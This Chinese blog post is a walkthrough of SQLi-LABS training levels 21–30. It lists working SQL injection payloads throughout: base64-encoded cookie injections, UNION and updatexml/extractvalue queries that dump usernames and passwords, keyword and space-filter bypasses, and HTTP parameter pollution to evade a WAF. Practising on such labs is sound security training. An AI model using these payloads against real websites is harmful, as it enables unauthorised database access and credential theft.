SQLi-LABS的Less21-30分析

本文详细描述了一系列关于Less系列中的cookie注入案例,涉及SQL注入技术,如base64编码、解码、unionselect、updatexml等,并探讨了如何绕过Web应用防火墙(WAF)的防御。作者展示了逐步的攻击过程和发现的注入点。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Less21 cookie注入

输入1或者1'或者1')或者1"或者1")没反应

输入万能密码

a' OR 1 = 1#

a') OR 1 = 1#

a" OR 1 = 1#

a") OR 1 = 1#

并没有什么反应,那么试试Less-20得出的admin看看

得到提示cookie的数据,那么去burpusuite抓包看看会有什么吧

对抓包的cookie解码,不过不太对

那么“%3D” 是 URL 编码中的等号,所以将YWRtaWRta4=破译(decode),对这base64解码

那我们注入的时候八码编码为base64就好,试一下看看怎么样,得到了注入点为')

Cookie: uname=admin')#

Cookie: uname=YWRtaW4nKSM=

Cookie: uname=1') UNION SELECT 1,2,3#

Cookie: uname=MScpIFVOSU9OIFNFTEVDVCAxLDIsMyM=

Cookie: uname=1') UNION SELECT 1,2,database()#

Cookie: uname=MScpIFVOSU9OIFNFTEVDVCAxLDIsZGF0YWJhc2UoKSM=

接下来要换成updatexml语句了,不然会报错

Cookie: uname=1') UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'#

Cookie:uname=MScpIFVOSU9OIFNFTEVDVCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWEgPSAnc2VjdXJpdHknIw==

Cookie: uname=1') UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'#

Cookie: uname=MScpIFVOSU9OIFNFTEVDVCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScgQU5EIHRhYmxlX25hbWUgPSAndXNlcnMnIw==

Cookie: uname=1') UNION SELECT 1,2,group_concat(concat(":",username,password)) FROM security.users#

Cookie: uname=MScpIFVOSU9OIFNFTEVDVCAxLDIsZ3JvdXBfY29uY2F0KGNvbmNhdCgiOiIsdXNlcm5hbWUscGFzc3dvcmQpKSBGUk9NIHNlY3VyaXR5LnVzZXJzIw==

Less22

总的来说与Less21基本一样,不过注入点为双引号"

Less23

输入?id=1正常显示,输入?id=1‘或者?id=1')或者?id=1'))报错,加入注释符--+或者#还报错,那么推测也许将注释符号过滤了,那么尝试//'?id=1'(这语句结束后带个'来与括号后的'闭合从而结束语句)',那么尝试下万能语句看看?id=1' or 1=1 or'显示正常了,?id=1') or 1=1 or'或者?id=1')) or 1=1 or'报错,那么注入点为'输入语句

?id=-1' UNION SELECT 1,2,3 '

爆库

?id=-1' UNION SELECT 1,2,database() '

爆表名

?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security' '

爆字段吧

?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' and table_name='users' '

爆数据的时候报错了

?id=-1' UNION SELECT 1,2,group_concat(concat_ws(':',username,password)) FROM users'

那么也许格式语法问题,不过用个where语句试试看

?id=-1' UNION SELECT 1,2,group_concat(concat_ws(':',username,password)) FROM users where '1'='1

这语句成功通过

Less24

在登陆界面注入登录失败了,那么输入admin看看会发生什么显示你可改密码,返回页面点new users click here设置新用户admin'看看然后返回主页面登录成功

Less25

明显的提示all your 'or' and 'and' belong to us

照例先输入?id=1或者?id=1'或者?id=1')或者?id=1"或者?id=1")

那么输入?id=1'或者?id=1')报错了

加上注释符f分别输入?id=1'--+跟?id=1')--+

那么?id=1'--+没报错,猜测注入点为'

根据提示your 'or' belong to us那么用or构造个万能语句看看输入?id=1' or 1=1--+

显示为报错

那么怎么使用or不报错了

试试在语句or插入一个or语句,如果中间or被过滤掉了剩余部分构成or就成功了

判断列数

?id=1' oorrder by 4--+

使用union语句

?id=-1' UNION SELECT 1,2,3--+

爆库

?id=-1' UNION SELECT 1,2,database()--+

爆表名

?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM infoorrmation_schema.tables WHERE table_schema = 'security'--+

爆字段名

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+

爆数据

?id=-1' union select 1,2,group_concat(concat_ws(":",username,passwoorrd)) from security.users--+

Less-25a

将1'改为1,其他与Less-25没什么区别

Less-26

看到提示all your spaces and comments belong to us

输入得到?id=1’或者?id=1')报错,加上注释符--+仍然报错

那么根据Less25的经验输入?id=''

看看会发生什么,显示成功没报错,那么注入点为'

被过滤的字符,可用其他的字符进行替代,用"%a0"或"%0b"替代空格,用"||"替代"or",使用"%26%26"替代"and"

输入?id=-1' || 1 = 1 || '

显示正常

那么用updatexml()报错注入爆库名吧

?id=-1' || updatexml(1,concat(0x7e,database()),1) || '1'='1

爆表名

?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema='security'))) ,1) || '1'='1

爆字段名

?id=1'||updatexml(1,concat(1,(SELECT (group_concat(column_name)) FROM (infoorrmation_schema.columns) WHERE (table_schema='security' %26%26 table_name = 'users'))) ,1) || '1'='1

爆数据

试着觉得无法直接从users表拿数据,那么先用一个表暂存然后利用另一个去拿

?id=-1' || updatexml(1,concat(0x0a,(SELECT(group_concat(concat_ws(0x3a,username,passwoorrd))) FROM (security.users) WHERE (id = 1) )) ,1) || '1'='1

Less-26a

注入点为')

Less27

注入点为'

爆库

?id=1'%0band%0bextractvalue(1,concat(0x7e,database(),0x7e))%0bor%0b'1'='1

爆表

?id=1'%0band%0bextractvalue(1,concat(0x7e,(selecT%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()),0x7e))%0bor%0b'1'='1

//直接select会被过滤掉要改为selecT

爆字段

?id=1'%0band%0bextractvalue(1,concat(0x7e,(selecT%0bgroup_concat(column_name)%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=database()%0band%0btable_name='users'),0x7e))%0bor%0b'1'='1

爆数据

?id=1'%0band%0bextractvalue(1,concat(0x7e,(selecT%0bgroup_concat(username,password)%0bfrom%0busers),0x7e))%0bor%0b'1'='1

Less-27a

输入?id=1"报错,?id=1")%0Bor%0B("1")=("1报错,?id=1"%0bor%0b"1"="1正常

那么猜测属于双引号注入

看看回显怎么样

?id=0"%0bunioN%0bselecT%0b1,2,3%0bor%0b"1"="1

//输入-1好像被过滤了,不输入数字或者输入0较好

爆库

?id=0"%0bunioN%0bselecT%0b1,database(),3%0bor"1"="1

爆表

?id=0"%0bunioN%0bselecT%0b1,group_concat(table_name),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=database()%0band%0b"1"="1

爆字段

?id=0"%0bunioN%0bselecT%0b1,group_concat(column_name),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='users'%0band%0btable_schema=database()%0band%0b"1"="1

爆数据

?

id=0"%0bunioN%0bselecT%0b1,group_concat(username,password),3%0bfrom%0busers%0bwhere%0b"1"="1

Less28

判断注入点为')

这道题union select容易过滤,绕过空格用/*%0a*/,用union distinct union绕过

看看回显

?id=0%27)/*%0a*/UniOn/*%0a*/distinct/*%0a*/SeLecT/*%0a*/1,2,3;%00

爆表爆字段

?id=0%27)/*%0a*/UniOn/*%0a*/distinct/*%0a*/SeLecT/*%0a*/1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema="security")),(select(group_concat(column_name))from(information_schema.columns)where(table_schema="security"%26%26table_name="users"));%00

爆数据

?id=0%27)/*%0a*/UniOn/*%0a*/distinct/*%0a*/SeLecT/*%0a*/1,(select(group_concat(username))from(users)),(select(group_concat(password))from(users));%00

Less-28a

如Less28

Less29

判断注入点为'

不过union select的时候没显示,也许看到注入的参数被 WAF (Web应用防御系统)防御了,通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 Web 应用提供保护的一款产品。此处应该是对注入的参数进行了强效过滤,以此达到了 WAF 的作用。绕过的方法是也就是 HTTP 参数污染。我们注入两个同名的参数 id,第一个参数用于绕过 WAF,第二个参数用于注入

?id=1&id=1' ORDER BY 4--+

?id=1&id=-1' UNION SELECT 1,2,3--+

?id=1&id=-1' UNION SELECT 1,database(),3 --+

?id=1&id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

?id=1&id=-1' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+

?id=1&id=-1' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+

Less30

如Less29,注入点为双引号

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值